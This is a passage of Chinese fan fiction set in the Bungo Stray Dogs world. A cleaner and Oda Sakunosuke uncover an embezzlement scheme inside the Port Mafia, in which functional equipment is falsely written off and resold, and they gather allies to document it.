首先,行动组以“需执行走私项目的运输”为由,大批采购新装备,不久后又报告提出新装备在‘任务’或‘运输’中严重损毁,已无法使用,申请报废。
报告最终由桥本‘核实’情况,‘确认’损耗属实,批准报废。
这些‘已报废’的装备,并不会真的被拉去熔掉,而是会被送去黑市重新销售。
赚取的大把现金,或许就被用于中饱私囊。
他静静的听着,努力记下对话的内容。
“诶,鸟前辈,照您这么说……之前财务科那个叫斋藤的新人,是不是就因为……”
“闭嘴!”
老鸟厉声打断,“不想死就管好自己的嘴!那件事是意外!官方早有定论!有些盖子,不是你我能掀的!赶紧干活,当什么都没听见,什么都没说过!”
对话戛然而止,只剩下匆忙的脚步声,和引擎发动的噪音。
璃久目送着两辆卡车逐渐远去。
男人最后的惊恐和讳莫如深,结合健太郎的哭诉,底层休息室中的惊悸,三者更有力地证实了他的猜想。
斋藤葵的“意外”,绝对与这套“做报废”的黑幕有关。
他又等了两分钟,才无声地滑进七号仓库
角落的木箱之间,孤零零嵌着一个蓝色织布袋
他撑开袋子,掏出包裹在牛皮纸内的文件,小心地塞进自己的白色帆布袋里,又把织布袋团成一团塞回木箱的缝隙里。
他挎着袋子走出集装箱
天色比之前更黑了,几颗星子稀疏的挂在天幕
他绕开了途径港//黑大楼的主路
他走得很快,直到尽头出现咖喱店温暖的灯光,才渐渐放慢脚步。
他用钥匙打开大门,又轻巧的把门关上
这个点了,店内应该空无一人
因此,在看到角落里静默的红发男人时,影蚀——前拳场冠军忍不住打了个嗝。
被吓的
“……织田作?”
璃久怯怯的唤了一声,下意识抱紧了帆布包
他瞥了眼墙上的时钟
午夜十二点十分
这个点,织田作怎么会在这
而且明显是一副等人的架势……
“嗯。”织田作起身,绕过璃久打开后厨的冰箱
“没吃吧,老板给你留了牛肉汤饭。”
这确定的语气……璃久更心虚了
之前偶然看见他教训孩子们时,就是这样平静却风雨欲来的语气。
他看着织田作背对着他,熟练的拿出那碗饭放进微波炉
“滴滴——”
灯光暖黄,打亮了男人略显冷硬的下颌
璃久站在光晕边缘,一步也不敢动
他呆呆地望着那片灯光。
之前收集的证据,他都是藏在宿舍的隔板下和柜子里
为什么唯独今天,握着如此关键的物证
却脚步一拐就回了咖喱店呢
“璃久。”
他仰头望进织田作的蓝眸
怀里的帆布袋忽然变得异常沉重
比几十天前,在港//黑楼下第一次收到时更重
“织田作……”
他低下头,声音有些发涩,带着最底层角落的霉味
男人沉沉的目光落在他的头顶,没有说话,似在等待
“我有一件,非常重要,但可能会有危险的事情,但我……一定要做……你……”
“什么事。”
璃久怔怔地望着他,脑海中闪过安吾最后的提醒
「计划书我有,如果你决定要去做,那就明晚十一点去七号仓库取」
「等拿到之后,怎么使用它,是公开还是私藏,我不会限制你,当然,风险也将全部由你自己承担」
不能将织田作拖下水
理应该是这样的
但是,望进那双眼睛,一直紧绷的神经陡然就松懈了。
“是什么事。”
织田作又问了一次,语气比先前更重
那一瞬间,破碎的心脏仿佛被一只无形的大手牢牢捧住,熨贴
那股热意最终化为了眼角的涩意
“叮——”
他用力揉了揉眼睛,转身走回餐桌
“先吃饭。”
不管什么情况,都要先吃饭。
—
月影疏斜
织田作将餐盘放进碗槽,擦干手,走回桌边坐下
那里已经亮起了小夜灯的光
“不要趴着看。”
他轻轻拍了拍人儿的背,顺势坐下,和璃久一起看着那份文件。
计划书的内容极其专业,充斥着各种公式和复杂的流程图。
璃久看得很慢,十多分钟才翻过一页
这样纯粹的商业文件,对没有接受过正统教育的他而言还是太过晦涩。
织田作也没有催促,只是静静的阅读着
时间在纸页翻动声中流逝。
“等一下——”
织田作的手指停了下来,点在“监控审计频率”上。
“每月交报告,每季度才现场看一次……”
他念出声,然后抬头看向璃久,“如果你管着一个每天都有现金进出的摊位,你会三个月才数一次钱,中间就靠对方每月递张纸条说‘钱没少’吗?”
璃久摇头。
“但这份计划书认为可以。”
织田作点了点那行字
“它把最值钱的宝石,放在了‘三个月才检查一次’的保险柜里。”
接着,他们继续阅读,直到 “财务模型构建” 部分
织田作跳过公式,指向那条“OPEX(运营开支)参考行业基准设定为TR(总收入)的15%”
“看这里,它说‘大概花掉收入的15%来运营’。但具体花在哪里?买菜钱?车马费?电费?没说。”
织田作语气平稳,“一个精打细算的人,会只做个总预算,却不做开支明细吗?”
然后,他翻到了“内控流程设计”。
“‘所有关键操作需经二次确认’。”
织田作的目光扫过璃久,“但它只说了‘需要二次确认’,没说‘不能是同一个人的两只手’。它设计了一把需要两把钥匙才能开的锁,却没说不能把两把钥匙都交给同一个人保管。”
他合上计划书,手指无意识地敲打着封面。
“一份走私计划,目的通常是为了盈利,但如果它在最关键的几个地方,‘看管频率’,‘花钱明细’,‘互相监督’的部分,都同时采用了这种‘自己监督自己,自己给自己报账’的设计……”
“那它起草的目的,恐怕就不是为了‘防止事情出错’。”
“而是从一开始,就为‘事情一定会以某种方式出错’铺好了路。剩下的,只是看拿到它的人,会在什么时候,以多大的胃口,去走这条铺好的路而已。”
“所以,”璃久目光呆滞,声音干涩,“这不是一份教人怎么做好项目的计划书……”
“这是一份,”织田作接上了他的话,“教人,或者说,允许人如何在规则内,慢慢掏空一个项目的说明书。”
他顿了顿,说出最终的判断:
“制定这份计划书的人,要么是个天真到极致的理想主义者,相信每个人都会在绝对的权力面前保持自律。”
“要么,他就是个深谙人性的魔鬼,故意设下这个华丽的陷阱,等待贪婪的人自投罗网。”
房间里陷入了更深的寂静
局势远远超出了璃久的设想
他刚才的阅读重点,完全集中在数字论据上
但如果最根本的框架都出了问题,那些数字又有什么用呢。
结合织田作的分析,那份计划书显然不再是简单的任务文件,而是一个充满恶意的精密仪器,一个测试人性弱点的装置。
“结合你刚才说的。”
织田作压低声音,他指的是吃饭时人儿说的前因后果
“那些正在使用它的人
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,显然没有通过这个人性测试。”
璃久目光一闪,缓缓点头。
那些人不是创造了贪污的方法,他们只是落入了一个早已设好的剧本,愉快地利用着别人为他们准备好的“合法”工具。
这是一份,从根子上就烂透了的,犯罪指南说明
他要对抗的,已经不仅仅是几个贪污犯
而是某种更深的,系统性的恶意。
但再系统,至少书写,或者说主导这本计划书的肯定不会是几十号人
在港口黑手党这样等级分明的组织里,最多只有一到两个人。
那么,会是谁对这样的人性测试格外热衷,甚至不屑于,或者说有权利用准干部的项目来进行自己的私心呢?
答案已经非常明显了。
那个总是带着慵懒笑容,眼神却洞察一切的身影。
那个将人心视为棋盘,将痛苦与死亡视为游戏的少年。
那个拥有着足以看穿所有伪装的智慧,却选择将其用于编织更复杂谜题的人。
太宰治。
璃久猛地抬起头,和织田作对视一眼
显然,他们心有灵犀
沉默,无尽的沉默
但沉默本身就是最有力的答案
「你可知要求我帮你掀翻的,可是港口黑手党的半壁江山」
安吾那句冰冷的警告在耳畔回响
半壁江山……
原来如此
它指的不仅仅是桥本和其背后跨部门的庞大利益集团。
更是指向那个亲手设计了这一切的太宰治
他将毒药包裹在糖衣里,递给了急于证明自己的准干部中原中也。
而中也,连同他手下那些贪婪的鬣狗,果然毫不犹豫地吞了下去。
这已经不止是一桩基层的贪污冤案,更是最高层干部之间无声的,残酷的博弈场。
“织田作………”
璃久的声音发哑,“这就是你说的‘古怪的爱好’?”
他终于明白了,为什么组织上下全都对这个黑衣少年讳莫如深。
“太宰他,”
织田作的声音依然平静,“看的从来不是对错,而是‘可能性’与‘有趣’。”
“他可能只是想看看,中也在这种情况下会如何反应,以及组织看似完美的管理体系,在绝对的诱惑面前会如何崩溃。”
“或者……”
织田作的目光转回璃久身上,“他想看看,当有人发现这个陷阱时,会怎么做。”
璃久的心猛地一跳。
难道……自己也变成了这个计划的一部分?
—
港口黑手党总部大楼,48层。
太宰没有开主灯,只有办公桌上一盏绿色的复古台灯亮着。
他面前没有文件,没有电脑,只有一杯几乎未动的威士忌。
“差不多……该发现了吧?”
他计算着时间
以安吾的谨慎和织田作对小猫的关注
他所撰写的,或者说修改的,计划书的副本,此刻应该已经被拿走了。
他很好奇。
好奇那个身上藏着连他都无法完全看透的谜团,内心却意外纯粹的少年,在看到这份“礼物”后,会露出怎样的表情。
是会恐惧于卷入高层的博弈而退缩?
还是会因被当作棋子而愤怒?
亦或是……会像他隐隐期待的那样,看清棋盘的本质,然后,做出一些真正“有趣”的事情?
他笑了
不是慵懒或讥讽的笑
而是近乎顽皮的,期待的笑。
“你会怎么做呢,‘清洁工’小朋友?”
“是选择明哲保身,假装什么都不知道,继续在阴沟里清扫着表面的污秽?”
“还是……鼓起勇气,拿起我为你准备好的‘扫帚’,试着来打扫一下这片更肮脏的‘半壁江山’?”
—
“织田作,我好像……明白安吾先生的意思了。”
璃久平静下来,“也明白太宰可能在期待什么了。”
织田作静静地看着他
“这不是简单的贪污。”
璃久看向计划书,“这是一个测试,太宰用整个项目,甚至一部分组织的根基作为赌注,在测试人性,测试规则,测试……一切。”
“他给了中也先生力量和信任,测试他能否驾驭。”
“他给了桥本他们贪婪的诱惑,测试他们能否抵抗。”
“而现在……”
璃久抬起眼,“他可能也在测试我,测试一个意外卷入的清洁工,会如何面对这一切。”
“如果我退缩,或者假装无视,那就正中他的下怀了。”
“但如果我……”
他没有说下去,但织田作明白了他未竟的话语。
“你想怎么做?”
璃久静静的看着他,眸中燃烧着能粉碎一切的冷静
窗外,月光正亮。
21.你看他,他看你看他,你看他看你看他
—
次日,港口黑手党三栋大楼
清晨六点,B1层
南区,底层员工食堂
几十见方的空间内,充斥着夜班未醒的哈欠和对新一天工作的抱怨
璃久端着餐盘,像往常一样,选择了角落位置坐下。
他小口吃着,眼帘低垂,耳朵却竖着。
没过多久,目标就出现了。
“吃饭吃饭!”
后勤部的深蓝色工装们熙熙攘攘,占据了右前方那张长桌。
其中那个嗓门最大的中年男人,正是“老鸟”。
“这炸猪排的面衣比他妈的城墙还厚!后勤食堂的油水,是不是都糊在这玩意儿上面了?”
他骂骂咧咧,但依旧大口吃着
在这里,果腹永远比享受重要
同桌的年轻同事笑着打趣
“老鸟前辈,有的吃就不错了,还挑三拣四的,你以为你是干部餐厅啊?”
“干部餐厅?”
老鸟嗤笑一声,“干部餐厅吃的是精致,咱们这儿吃的是实在。但有时候,‘实在’过头了,就他妈是糊弄!”
他灌了一口免费的凉麦茶,继续他的“清晨训话”:
“就跟咱们手头那点活儿一样,上面的大人物们,觉得把东西往我们这一扔,贴个待处理的标签,这玩意儿就真从世界上消失了,哈!”
璃久咀嚼的动作放缓一瞬。
老鸟的抱怨,依旧围绕着“报废品”和“账目”打转
这是符合资产回收科的,深入骨髓的职业习惯
也侧面证明了他对这套流程的熟悉与不满。
“今天凌晨新上报那批‘运输损耗’的通讯模块,”
老鸟压低了点声音,“外壳几道划痕,里面屁事没有,功能完好!按规矩,该拆件回收。结果呢?报告上直接写‘核心电路烧毁,无法修复,建议整体报废’!这他娘的不是睁眼说瞎话吗?”
“行了老鸟,上面这么写,咱们就这么录呗,您也真是,一直较这个真干嘛?不累吗?”
“较真?”
老鸟眼睛一瞪,“这不是较真!这是……这是专业!一样东西该怎么处理,是有规矩的!不能因为他们想让它‘消失’,就硬给它安个死因吧?这跟……这跟杀人伪造现场有什么区别?”
杀人伪造现场。
璃久默默吃完最后一口饭,收拾好餐盘,悄无声息的离开了。
他需要花时间确认,老鸟的抱怨是否仅仅是一时的情绪发泄,以及面对实际工作时,他是否会因为恐惧或利益,违背自己所依仗的理念
—
托太宰的福,原本被塞爆的排班表瞬间清空,连工作时间也变成了“弹性工作制”。
如果没有这件事,他大抵已经重新回到花园,继续熟悉且心安的园艺生活了。
但他不能
还有没做完的事
上午九点,璃久推着清洁车,正在擦拭东区走廊的消防栓。
这条走廊是他精心挑选的,不远处就是回收科仓库
门开着一条缝
“鸟前辈,这批‘水浸损坏’的突击步枪,按流程要申请特殊销毁,报告我已经拟好了,您签个字就行。”一个年轻的声音说。
“等等,”
老鸟的声音,“水浸?哪里的水?海水还是淡水?浸泡了多久?内部机匣和弹簧有没有做详细的锈蚀检查?报告上就写个‘水浸损坏’,太含糊了!拿回去,补充检测数据,至少要把关键部件的照片附上!”
“可是……行动组那边催得急……”
“他们急他们的!老子这里只认规矩和实物!”
那声音带着不容置疑的权威
“东西到我这儿,就得按我这儿的规矩来!想糊弄?没门!”
璃久不动声色地继续擦拭,心中暗暗点头。
显然,老鸟在职责范围内,敢于坚持流程,并不轻易向其他部门(尤其是强势的行动组)的压力妥协。
下午三点,西区垃圾站
这个点,负责垃圾清运的外包公司货车会来
今天也不例外
璃久站在工具间里,透过门缝看着老鸟亲自押送几个密封的金属箱过来,与负责人员交接。
“鸟哥,辛苦了辛苦了。老规矩,这批‘特殊废料’我们拉走,保证处理得干干净净。”
老鸟没接负责人递来的烟,只是踢了踢其中一个箱子
“老规矩?什么老规矩?清单上注明是‘物理熔毁’,你们拉走之后,熔毁全过程的监控记录,事后都要按规定给我传过来备案,要是少了,下次就别想从港//黑接活儿,还有上次的,也得给我补传过来,三天内!知道不?”
负责人脸色僵了一下,连忙赔笑点头
“是是是,一定按规矩办,您放心!”
老鸟看着他们装车,直到货车离开,才转身回去。
他边走边低声骂着:“妈的,都想省事,当老子是摆设?”
三分钟后,璃久离开了工具间,迎面撞上山田。
两人对视一眼,点了点头,又平静分开。
太宰来过后,其他的清洁工都把他当成瘟疫,黑田更是,见到他三米远就边鞠躬边绕路
只有山田没什么变化。
璃久边往底层休息室走,边飞速思考着。
“特殊废料”
老鸟作为回收科前辈,肯定清楚背后的猫腻
但他却会利用职权,尽可能给这些灰色交易设置障碍,确保流程在表面上依然符合规定。
很显然,他并非同流合污者,而是一个试图坚守最后防线的“看门人”。
三幕场景,指向了一个强有力的共同结果
老鸟,就是他所需的“技术专家”。
—
“你打算怎么做?”
“靠我一个人的力量,不够。”
璃久看着窗外,侧脸平静。
如果对手是太宰的话,他一人去对抗,不亚于蜉蝣撼树。
“我需要有人,利用他们的专业知识来提供更有力,能足以推翻桥本谎言的实证。”
他需要有人能提供专业的判断,为那些被合法谋杀的装备,开具一份真实的验尸报告。
证明,它们的消失是成为了贪污的养料。
而现在——
璃久脚步不停,眸色逐渐坚定
他已经找到了
—
下午三点半
港口黑手党三栋大楼,B1层北区—物料仓库区
这是存放低流通性物资的仓库,货箱只有一道密码锁
至于权限,之前黑田给他塞活时,顺带开通了B1层所有仓库和底层办公区域的权限。
但这里不登记货物的直属名称,只有编号。
璃久推着清洁车,手里拿着消毒喷壶
他边喷洒消毒水,边缓慢地在货架间移动
计划书上提到的宝石安全库存点之一,就是这里。
他没有直接去所谓的D区
那里大门紧闭,还有两个后勤人员看守
不能打草惊蛇
他凝神,试图感受之前在审讯室读到的碎屑信息
但没有,什么都没有
难道计划书出错了?这里不是存放点?
他正思索着,大门忽然被打开了
一阵急促的脚步声从相隔两排货架的深处传来。
璃久的动作瞬间停滞。
他推着车,悄无声息移动到货架的边缘
通道尽头,两个穿着后勤制服但神色鬼祟的男人,正围着一个货柜忙碌着。
“快点!中原大人马上就要到了!”
“等会!刚才手抖了!濑野那家伙给的密码,最后一位是什么来着……”
濑野?
璃久福至心灵想起了入职日当天,站在青木背后的那个少年
情报科……
果然,这里面还有他们的事
“快!”
头目男低喝一声,边快速呢喃,“感谢中原大人网开一面把库存点设在这……”
璃久忍不住默默冷嗤一声。
只有密码的一道门仓库,简直是在邀请小偷。
终于,“咔哒”一声,密码正确
两人迅速拉开货柜门
璃久顺势望过去
里面空空如也,只有一些防震泡沫碎屑。
脚步声由远及近
第三个男人抱着一个小型金属箱,气喘吁吁地跑了过来。
“打开!”
瞬间,璃久的心漏跳了一拍
里面赫然是码放整齐的原石和部分切割好的宝石!
他一动不动,呼吸几乎放到了最轻
视野几乎被蓝色填满。
他想起计划书上列举的走私宝石类型
SSEF—Royal Blue
皇家蓝
盒子里的蓝宝石,纯度与结构和审讯室的几颗碎屑完美匹配。
小蜂窝结构紧密相连,没有任何裂痕,气泡,没有一丝声响,是绝对的平静,空旷
“结构误差度小于0.01%。”
璃久嘴唇无声翕动着
可以确定两者是同一来源。
审讯室会出现宝石碎屑的原因有两种可能
拷问官参与了贪污,或者是没有权限的人擅自进行了拷问。
璃久定神思索着
后者可能性更高
那天室内未归位的探针,未拧紧的瓶口,地面重叠凌乱的鞋印,还有排水口附近,因拖拽(必定是尸体)而产生的狭长的血迹带——
真正的审讯官,对待审讯应该是外科医生般的精准,不可能留下这些粗暴仓促的痕迹。
所以,是没有资质的外行人私下对斋藤葵进行了“审判”,并在事后将尸体粗暴的移出了房间
真是,好一个“借刀杀人”
另一边,三人手忙脚乱取出宝石,随意地铺在货柜底部
然后,他们飞快地关上货柜门重新上锁。
“行了!快走!从后门出去,别撞上!”
头目男一挥手,几人迅速掠过璃久躲藏的货架,消失在另一头。
璃久靠在冰冷的货架后,若有所思
显然,这是一场临时,拙劣的“布置”。
他没有立刻出来,而是保持着蛰伏的姿势。
果然
就在三人走后不到五分钟,一阵有节奏的皮鞋跟敲击地面的声音,由远及近。
中原中也出现在入口。
他依旧穿着那身剪裁合体的黑风衣,戴着礼帽。
身后跟着一个抱着平板电脑,神色紧张的秘书。
“是这里?”中也的声音在空旷的仓库里回荡。
“是……是的,中原大人。”
秘书连忙上前,指着那个货柜,“根据入库记录,这一批宝石原料和成品都存放在这个区域,这个货柜是其中之一。”
中也走到货柜前
“打开。”
秘书赶紧上前,输入密码
因为手抖,他输错了两次,才打开货柜门。
瞬
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间,那些宝石映入了中也的眼帘。
它们静静地躺在那里,仿佛一直都在。
中也的眉头舒展开来
他没有细数,只要看到这“实实在在”的货物,看到它们充盈货柜的景象,就足够了。
这景象,完美印证了桥本向他汇报的“库存充足,资产优良”。
他随意地拨弄了一下几块靠近门口的宝石,感受它们冰冷的质地和沉甸甸的分量。
“嗯,成色不错。”
他点了点头,对秘书吩咐道,“记录一下,货品与账目相符。告诉桥本,管理得不错,继续保持。”
“是!中原大人!”秘书连忙在平板电脑上记录着,松了口气。
像是通过了什么致命的测试
中也最后扫了一眼那满柜的宝石,像是欣赏自己的功绩
随即转身,毫不留恋地离开了。
秘书重新锁好柜子后,长长的舒了一口气,也追了上去
脚步声逐渐远去,仓库重新恢复了死寂。
璃久却没有动
他在等
十分钟后,一阵明显鬼祟意味的脚步声再次从入口方向传来。
大门再度被刷开
还是那几个人
他们再次出现,脸上的紧张并未消退,反而更添了几分做贼心虚的焦急。
他们迅速跑到货柜前,其中一人警惕地四处张望
璃久在他视线扫过来之前,已完全隐入黑暗。
果然,和他想的如出一辙
只是,更为心急了
十分钟,如此接近的卡点时间,显然秘书也是共犯
中原准干部知道自己手下的人有多“认真负责”吗
另一边,确认无人后,几人将货柜里的宝石迅速装回那个小型金属箱
这一次,他们的动作更快,更慌乱
宝石相互碰撞,发出细碎而清脆的声响,在这寂静中格外刺耳。
“快!快!赶紧送走!放在这里一刻都不安全!”
头目男低声催促,声音因紧张而变调。
箱子被合上,两人抬起,迅速朝着后门方向小跑而去,甚至都顾不上锁门。
那价值连城的宝石,如同一个短暂而虚假的幻梦,来了,又走了。
货柜再次变得空空荡荡,只留下一些在灯光下闪烁的微小尘埃。
璃久终于从阴影中缓缓走出
他取下小布袋里的镊子,将那些碎屑夹进一个小密封袋
将袋子放入清洁车后,他直起身,凝视着柜门依旧虚掩的货柜。
“7B-11……”
他蹲下身,闭上眼睛
这里,除了那一缕轻飘飘的气息之外,空无一物
桥本那边的人,或许是得到了情报科奸细的提示,为了应付中原中也的突然检查采取了紧急措施。
这个柜子里,本来或许该被存放宝石的
但他能感觉得到,之前一直是空的
宝石从来没有进入过这里,只是因为这次临检,才被拿来充门面
他知道之后那些宝石一定会被迅速转移走,但没想到这么快。
就在这时
身后极近的地方,传来一声极力压抑的抽气声。
璃久全身肌肉瞬间绷紧,猛地回头
在他身后不到五米的地方,另一个货架的转角处,一个穿着物资科制服的少年正脸色惨白地站在那里
佐藤健太郎
他死死地捂着自己的嘴,胸口剧烈起伏,显然也是刚刚目睹了宝石被转移的全程。
他为什么会在这里?
他不是行动组的成员吗?
不对
上次晕倒时,隐约听到的声音,好像也是健太郎
难道,他退出了行动组,转到了这里?
为什么?是因为要调查吗?
四目相对。
一瞬间,空气凝固了。
健太郎的恐惧达到了顶点,
他是被西野前辈派来这个仓库区,核对一批旧保险柜的库存和位置,等待后续报废处理
但他完全没料到,会撞见如此要命的一幕。
他看着璃久,试图打个招呼或说些什么
但什么也说不出来,喉咙发紧,双腿忍不住发抖
对面,璃久静静地看着他
那道目光先是落在他脸上,然后,微微下移,盯着那身深蓝的后勤制服。
啊,是了,他应该还不知道我转岗的事吧
健太郎忍不住抽了抽嘴角,主动回望过去
这一次,璃久的眼神里,多了一丝什么
那不是同情,而是一种确认。
「你看到了,你也知道这意味着什么。现在,你和我一样了」
他看着璃久,看着这个沉默的,身处最底层却仿佛知晓一切的少年
忽然间,一直压抑在心底的,对葵的愧疚,对不公的愤怒,以及对自身无力的悲哀,在这一刻冲破了恐惧的堤坝。
他死死咬着下唇,几乎要咬出血来,才把翻涌的泪水忍下去
然后,他艰难地点了一下头。
我看到了。
我明白我们看到了同样的罪恶
我……不会说出去。
璃久最后深深地看了健太郎一眼
然后他推起清洁车,沿着狭窄的通道离开了
健太郎靠着货架,缓缓滑坐到地上,将脸埋进膝盖,肩膀微微颤抖。
但这一次,不再仅仅是恐惧。
更多是一种找到了同类,终于不必独自背负秘密的解脱感。
22.帕金森综合症
——
三小时后,十二点半,食堂
璃久依旧坐在他那个不起眼的角落,面前是简单的饭食
食堂的喧闹嘈杂一如既往
他边吃,边分神听了一会儿老鸟关于运输设备要求之多的抱怨,默默盘算着拉人入伙的合适时机
就在此时,一道视线落在了他的身上
斜对面几张桌子外,行动组四队——不,现在应该已经是物资调配科的新人——健太郎,正有些坐立不安地和他的几个新同事坐在一起
每隔十几秒,他就会飞快地瞥来一眼。
璃久不动声色,继续吃饭,仿佛完全没有察觉到那频繁投来的目光。
他需要确定,这道目光,这次转岗是一时兴起,还是……
就在这无声,单方面的注视中,他吃完了自己的饭,端着盘子出去了
接下来的三天,每天中午都是如此
最后一次,他甚至都要忍不住和自己搭话,最终还是什么都没说
璃久知道,时机到了
第四个中午,他依旧在老时间出现,没有直接回自己的角落,而是端着餐盘,走到了健太郎附近一个空位置坐下
这个位置离健太郎很近,几乎就在他侧后方。
坐下时,他看到健太郎的背脊瞬间僵直,戳饭的动作都停了下来
璃久没有看他,只是平静地开始吃饭。
周围的同事们很快吃完,说说笑笑地离开了,只剩下健太郎还僵硬地坐在原地,盘子里的食物几乎没动。
食堂里的人渐渐稀少,喧嚣声降低了许多。
璃久慢条斯理吃完了最后一口饭,仔细地擦了擦嘴。
然后,侧过头,用只有他们两人能听到的音量,清晰而缓慢地吐出三个字:
“斋藤葵”
“哐当!”
健太郎手猛地一抖,筷子掉在餐盘上,发出刺耳的声响。
他骇然转头,脸色在瞬间变得惨白如纸。
他预感璃久或许知道什么,毕竟他看到宝石被偷走时完全没有反应
但他无论如何也想不到,璃久竟然会知道葵的事情!
“你……你……”
健太郎的声音颤抖得不成样子,“你怎么会……不!我什么都不知道!我……”
“我知道你知道。”
璃久打断了他,“我还知道,她是冤枉的。”
最后的心理防线崩塌了,眼泪瞬间涌了上来
健太郎死死咬着嘴唇,不让它们掉下来。
他猛地低下头,肩膀开始不受控制地颤抖。
多久了?
他听到这个名字时,还是会忍不住。
“这里不是说话的地方。”
璃久看了一眼周围,人少了,但仍有零散的目光投来
“B1层,西侧清洁工具间,中午没人。”
——
半小时后,B1层西侧清洁工具间。
璃久静静地站在阴影里,等待着。
门被轻轻推开一条缝
健太郎迅速关上门,背靠着门板,大口地喘着气,脸上还残留着未干的泪痕。
“望月……你……你到底……”
他语无伦次,眼神里充满了恐惧和困惑。
“我在B2层打扫过卫生。”
璃久言简意赅地解释,“我听到了,你的声音。”
健太郎的身体又是一颤,但心头却诡异的一暖
原来那天,他不是一个人
有人默默的和他一同分担着这个黑暗的秘密
“你为什么……要跟我说这些?”
健太郎的声音带着哭腔
“你就不怕……不怕被牵连吗?他们会杀了我们的!”
璃久反问:“你想让斋藤死得不明不白吗?你想让那些真正害死她的人,继续逍遥法外,甚至用她的死来换取功劳和利益吗?”
“我当然不想!”
健太郎激动地吼出来,但立刻又惊恐地捂住了自己的嘴
“可是……我们能做什么?我们只是……只是最底层的小角色!连自保都做不到!”
“正因为我们是小角色,所以才不容易被注意。”
璃久的声音很冷静
“他们警惕的是干部,是异能者,不是清洁工和物资调配科的新人。”
他向前走了一小步,昏暗中,眼眸闪烁着微光。
“我不需要你去做危险的事。我只需要你在物资调配科,利用你的眼睛和耳朵。”
“比如,”璃久盯着他,“留意那些频繁的,价值巨大的‘报废’申请,特别是由财务科桥本科长,或者行动组某些人经手的。”
“为……为什么是我?”健太郎的声音微弱得像蚊子叫。
“因为你知道她是冤枉的。”
璃久的回答简单而有力,“因为你会为她的死而悲伤,也因为……”
他顿了顿,“我们别无选择。要么永远活在恐惧和愧疚中,要么……试着做点什么,哪怕只是为了对得起自己的良心。”
工具间里陷入了沉默,只有健太郎粗重的呼吸声和门外的垃圾搅碎机的轰鸣
过了很久,健太郎缓缓抬起头,看着璃久。
眼前的少年,身材比他瘦小,地位比他更低
但那双眼睛里透出的冷静和坚定,却给了他一种奇异的安全感。
他想起葵认真核对票据的样子,想起她因为一个数据错误熬夜查找的执着,想起她曾经那么努力地想在这个黑暗的组织里,守住一点点属于“正确”的东西。
一股混合着悲伤,愤怒和勇气的情绪,在他胸中翻涌。
他深吸一口气,声音依旧颤抖:
“我……我该怎么做?”
璃久从口袋里拿出一张折叠好的,背面是空白的废纸,在他面前挥了挥。
“不需要特意做什么,正常工作。如果看到或听到觉得异常的事情,记下时间,物品和涉及的人。找机会,像递垃圾一样,塞到这里。”
他指了指工具架上一个专门用于丢弃废旧抹布的黑色塑料袋,“我会来处理。”
“望月……”
健太郎哽咽着,第一次正式地呼唤璃久
“谢谢你……还有,请……请一定小心。”
璃久点了点头。
“你也一样。”
——
七小时后,食堂
傍晚八点,已经过了用餐高峰
人潮已退,只剩下稀稀落落的几个身影
璃久依旧坐在老位置,但他的餐盘旁多了一杯食堂里最廉价的烧酒。
他的目光平静地落在不远处独自一桌的老鸟身上。
时机到了。
几天来的观察,让璃久确信老鸟是那个对的人。
而现在,他需要递出那根危险的橄榄枝。
他端起那杯烧酒,没有犹豫,径直走到了老鸟的桌前,在对方略显诧异和警惕的目光中,自然地坐到了他对面。
“鸟前辈。”
老鸟眯起眼睛,打量着这个最近似乎总在视线范围内出现的清洁工少年。
他认得这张脸,沉默,干净,与这环境格格不入。
“有事?”老鸟不耐烦的问着,但眼神里多了一丝探究。
一个清洁工主动来找他,还带着酒,这不合常理。
璃久将烧酒轻轻推到老鸟面前,自己的手则平放在桌上,目光直视着对方,说出了那句经过深思熟虑的开场白:
“鸟前辈,关于镜片完好却报了‘系统殉爆’的‘夜鹰’战术目镜……我想和您聊聊。”
“哐当!”
老鸟手中的酒杯重重顿在桌上,酒液晃了出来。
他身体前倾,压低了声音:
“小子!你他妈在胡说八道什么?!谁让你来打听这些的?!”
璃久依旧平静地看着他,眼眸里没有恐惧,只有冷静。
“没有人让我来。”
“是我自己想知道。”
“就像我想知道,财务科的斋藤葵,究竟是因为发现了什么,才会被当成‘垃圾’一样处理掉。”
老鸟的脸色瞬间变得难看至极
“我不知道什么斋藤葵!……你……你到底是谁?!你想干什么?!”
“我是一个清洁工。”
“我的工作是把脏东西清理干净。”
“但现在,有些脏东西,用普通的拖把和消毒水已经擦不掉了。”
璃久稍微停顿,然后继续抛出更具冲击力的信息:
“我知道,行动组和桥本科长那边,有一套把新装备变成‘报废品’,再送去黑市销赃的方法。我还知道,物资调配科里,已经有人在留意这些不正常的流向。”
物资调配科……
这小子,原来不是一个人?
老鸟沉默了,额头渗出了细密的汗珠,内心正在激烈的斗争着
天平的两侧,一侧是对平安退休的期盼,另一侧,则是作为技术人员被黑暗规则压迫的愤怒
“你跟我说这些——”
老鸟的声音干涩沙哑
“有什么用?就凭我们?一个扫地的,一个管废品的?你想去撼动桥本?撼动行动组?你他妈疯了?!”
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“我没疯。”
璃久的语气平稳有力,让老鸟在一瞬间想到一个人
那个传说中从不杀人的mafia,底层的杂役,织田作之助
他曾经和对方打过几次照面,吃过几次饭,对他沉稳平和却格格不入的气质印象深刻
如今,这两个人的身影诡异又奇妙的重合在了一起
“我也没想过靠我们三个去正面撼动谁。”
“重要的是证据,无法被篡改,被忽视的实物证据和专业鉴定。”
“鸟前辈,您是港口黑手党里,少数几个能真正看到和看懂那些‘报废品’身上故事的人。您只需要在您的工作范围内,做您最擅长,也本该做的事情,就是给出基于事实的专业判断。”
璃久的目光锐利如刀:
“当一批完好的目镜被送来,您按规矩,出具一份‘设备性能良好,仅外观磨损,建议维修或拆件回收’的内部鉴定书,存档留底。当一批无损的通讯模块被送过来,您按实写上‘功能完好,仅外壳有划痕,可打磨后重新使用’,以及,当一批编号被磨掉的引擎送到您面前,您拍照,记录,在报告上注明‘编号人为磨损,来源存疑’。”
“这些,都是您的分内工作,没有任何越界。”
璃久强调道,“您不需要去告发谁,不需要去对抗谁。您只需要……忠于您的专业,说出您看到的真相。”
老鸟的呼吸变得粗重起来
目镜,模块……
还有昨天下午才送来的引擎,这小子竟然……
他到底知道多少事?!
他瞪着璃久,后者依旧平静的回看着他
想到引擎,老鸟眸中又流露出一丝苦涩
那是一台突击车专用的高性能涡轮增压引擎,外壳上所有能追溯批次和来源的铭牌与编号,都被人用专业工具精细地打磨掉了,只留下光秃秃的金属疤痕。
这是内行人的手法,目的明确:让它变成无法追查的“黑户”,然后才能安心走“报废-处理-消失”的流程。
他推开明日要交的违心报告,试图引用规章制度解释正确的,合规的处理方法,却只得到主任的一句「别给自己找麻烦,也别给科里找麻烦。这些年,大家不都是这么过来的吗」
